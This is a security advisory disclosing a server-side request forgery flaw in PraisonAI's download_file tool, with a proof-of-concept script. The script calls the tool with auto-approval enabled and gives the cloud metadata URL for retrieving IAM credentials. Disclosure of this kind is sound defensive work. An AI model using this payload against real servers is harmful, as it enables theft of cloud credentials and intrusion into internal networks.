CVE-2026-34954 — PraisonAI: SSRF in FileTools.download_file() via Unvalidated URL

Affected: MervinPraison PraisonAI

PraisonAI is a multi-agent teams system. Prior to version 1.5.95, FileTools.download_file() in praisonaiagents validates the destination path but performs no validation on the url parameter, passing it directly to httpx.stream() with follow_redirects=True. An attacker who controls the URL can reach any host accessible from the server including cloud metadata services and internal network services. This issue has been patched in version 1.5.95.

GHSA-44c2-3rw4-5gvh — PraisonAI Has SSRF in FileTools.download_file() via Unvalidated URL

Affected: PyPI: praisonaiagents

### Summary

`FileTools.download_file()` in `praisonaiagents` validates the destination path but performs no validation on the `url` parameter, passing it directly to `httpx.stream()` with `follow_redirects=True`. An attacker who controls the URL can reach any host accessible from the server including cloud metadata services and internal network services.

### Details

`file_tools.py:259` (source) -> `file_tools.py:296` (sink) ```python # source -- url taken directly from caller, no validation def download_file(self, url: str, destination: str, ...):

# sink -- unvalidated url passed to httpx with redirect following with httpx.stream("GET", url, timeout=timeout, follow_redirects=True) as response: ```

### PoC ```bash # tested on: praisonaiagents==1.5.87 (source install) # install: pip install -e src/praisonai-agents # start listener: python3 -m http.server 8888

import os os.environ['PRAISONAI_AUTO_APPROVE'] = 'true' from praisonaiagents.tools.file_tools import download_file

result = download_file( url="http://127.0.0.1:8888/ssrf-test", destination="/tmp/ssrf_out.txt" ) print(result) # listener logs: "GET /ssrf-test HTTP/1.1" 404 # on EC2 with IMDSv1: url="http://169.254.169.254/latest/meta-data/iam/security-credentials/" # writes IAM credentials to destination file ```

### Impact

On cloud infrastructure with IMDSv1 enabled, an attacker can retrieve IAM credentials via the EC2 metadata service and write them to disk for subsequent agent steps to exfiltrate. `…

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CVE-2026-34954 — PraisonAI: SSRF in FileTools.download_file() via Unvalidated URL

GHSA-44c2-3rw4-5gvh — PraisonAI Has SSRF in FileTools.download_file() via Unvalidated URL